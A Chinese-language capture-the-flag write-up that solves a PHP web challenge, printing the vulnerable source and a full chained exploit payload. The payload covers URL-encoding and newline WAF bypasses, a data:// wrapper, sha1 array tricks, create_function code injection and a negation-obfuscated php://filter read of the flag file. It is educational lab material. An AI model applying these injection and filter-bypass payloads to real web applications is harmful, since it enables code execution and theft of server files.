信息收集，waf绕过
打开后源码中可以看到这个东西，解码后是1nD3x.php
<?php
highlight_file(__FILE__);
error_reporting(0);
$file = "1nD3x.php";
$shana = $_GET['shana'];
$passwd = $_GET['passwd'];
$arg = '';
$code = '';
echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";
if($_SERVER) {
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}
if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');
if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}
if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}
if(preg_match('/^[a-z0-9]*$/isD', $code) ||
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>
第一层可以看到他是用sever，这个是不会自动解url的所以我们直接url就可以绕过
可以看到匹配中没有/m所以直接换行绕过即可
?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a
这个就是便利，但是在post和get同时传入一个参的时候他会优先选择post所以我们在post再传一遍就好
这里就直接用data伪协议就好了没什么难的，url加密就好了
file=data://text/paln,debu_debu_aqua
这里类似于md5直接数组绕过就好了
shana[]=1&passwd[]=2
这里可以发现$code和$arg可控，利用$code('',$arg)进行create_function注入
function a('',$arg){
return $arg
}
$arg=}代码;//,则}闭合了a()，同时//注释了后面的内容
flag[code]=create_function&flag[arg]=}var_dump(get_defined_vars());//
得到了flag位置rea1fl4g.php
get_defined_vars此函数返回一个包含所有已定义变量列表的多维数组，这些变量包括环境变量、服务器变量和用户定义的变量。
因为这里url没办法绕过去所以我们要用取反绕过
<?php
$a="php://filter/read=convert.base64-encode/resource=rea1fl4g.php";
echo urlencode(~$a);
require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F))
最终payload
?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%66%69%6c%65=%64%61%74%61%3a%2f%2f%74%65%78%74%2f%70%61%6c%6e%2c%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=%31&%70%61%73%73%77%64[]=%32&%66%6c%61%67[%63%6f%64%65]=%63%72%65%61%74%65%5f%66%75%6e%63%74%69%6f%6e&%66%6c%61%67[%61%72%67]=}require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F));//
debu=1&file=1
